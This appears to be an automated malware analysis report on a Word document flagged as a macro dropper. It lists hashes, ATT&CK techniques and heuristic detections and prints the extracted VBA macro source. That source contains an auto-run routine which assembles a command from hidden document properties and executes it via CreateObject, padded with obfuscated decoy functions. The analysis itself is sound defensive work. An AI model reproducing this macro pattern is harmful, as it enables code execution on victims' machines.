Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6bf1ec3bc2f0a97b…

MALICIOUS

Office (OLE)

56.5 KB Created: 2017-07-30 19:07:00 Authoring application: Microsoft Office Word First seen: 2019-05-15
MD5: 27ec07cc6604112df505132903b6c1cd SHA-1: 0bd7cde78ceb718b6c656461e8a69a25a29d64a1 SHA-256: 6bf1ec3bc2f0a97bdca700f02a99db02543fc00e6e9e88bbc444e56c4f74dfc5
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing a VBA macro with an autoopen subroutine. The macro utilizes CreateObject, a common technique for executing arbitrary code, and is flagged by multiple heuristics as an auto-executing macro. The ClamAV detection name 'Doc.Dropper.Agent-6600312-0' suggests its purpose is to drop and execute a secondary payload. No specific family could be identified, but the behavior is consistent with a macro-based downloader.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6600312-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6600312-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3218 bytes
SHA-256: a6717cc9b5a9b852b589a1ed9f2136c138bdf74b46cb6ea65c1ff1d6f7f8b0ab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"



Sub autoopen()



tZOxQkYbiMCG



End Sub



Function arnfFDdSXIZQ(ByVal msoNvghQRCfS As String, ByVal xqirDRTdokXj As Variant) As Boolean



For Each xhHUtkZBEFrV In xqirDRTdokXj



    If xhHUtkZBEFrV = msoNvghQRCfS Then



        arnfFDdSXIZQ = True



        Exit Function



    End If



Next xhHUtkZBEFrV



End Function



 Function iglLcxnCOKJT(ByVal ZOjPsiYUNEJa As String, ByVal GgBwefyPvDbI As Variant) As Boolean



For Each tlcCoXqgwHri In GgBwefyPvDbI



    If tlcCoXqgwHri = ZOjPsiYUNEJa Then



        iglLcxnCOKJT = True



        Exit Function



    End If



Next tlcCoXqgwHri



End Function



 Function iXGLobDkTvNf(ByVal cRjeHidknNpo As String, ByVal MhRTIpHBQYoG As Variant) As Boolean



For Each UksanmdhiwzE In MhRTIpHBQYoG



    If UksanmdhiwzE = cRjeHidknNpo Then



        iXGLobDkTvNf = True



        Exit Function



    End If



Next UksanmdhiwzE



End Function



 Function TnIdlXybLfBG(ByVal oDHxXJwiedES As String, ByVal FwIXSDVBkHfs As Variant) As Boolean



For Each OozxRBlUnXgv In FwIXSDVBkHfs



    If OozxRBlUnXgv = oDHxXJwiedES Then



        TnIdlXybLfBG = True



        Exit Function



    End If



Next OozxRBlUnXgv



End Function







Public Function tZOxQkYbiMCG() As Variant



CdcWuBPZankR = ActiveDocument.CustomDocumentProperties("GWnIbjmzJs") + ActiveDocument.CustomDocumentProperties("todvXKQqYD") + ActiveDocument.CustomDocumentProperties("dhJcmCFoaj") + ActiveDocument.CustomDocumentProperties("chNkfvLeBO") + ActiveDocument.BuiltInDocumentProperties("Comments")



CreateObject(ActiveDocument.CustomDocumentProperties("aUhRDVFTPp") + ActiveDocument.CustomDocumentProperties("VsSQkWCjXD") + ActiveDocument.CustomDocumentProperties("dhJcmCFoaj")).Run$ CdcWuBPZankR, 0



End Function



Function tARdmercUQbW(ByVal boGyIrmCXxEN As String, ByVal GeNjurKbiVHZ As Variant) As Boolean



For Each TVGJwBfIaDtj In GeNjurKbiVHZ



    If TVGJwBfIaDtj = boGyIrmCXxEN Then



        tARdmercUQbW = True



        Exit Function



    End If



Next TVGJwBfIaDtj



End Function



 Function nxhGAQtlqwWr(ByVal JNAurnpotjXw As String, ByVal HXFcaxEGWvyC As Variant) As Boolean



For Each jdLIzkExwTno In HXFcaxEGWvyC



    If jdLIzkExwTno = JNAurnpotjXw Then



        nxhGAQtlqwWr = True



        Exit Function



    End If



Next jdLIzkExwTno



End Function



 Function FITtkwHfeuZM(ByVal dsJkeOFoMTKU As String, ByVal EDUpNZjiMlwL As Variant) As Boolean



For Each uUAXWZNrcFYf In EDUpNZjiMlwL



    If uUAXWZNrcFYf = dsJkeOFoMTKU Then



        FITtkwHfeuZM = True



        Exit Function



    End If



Next uUAXWZNrcFYf



End Function

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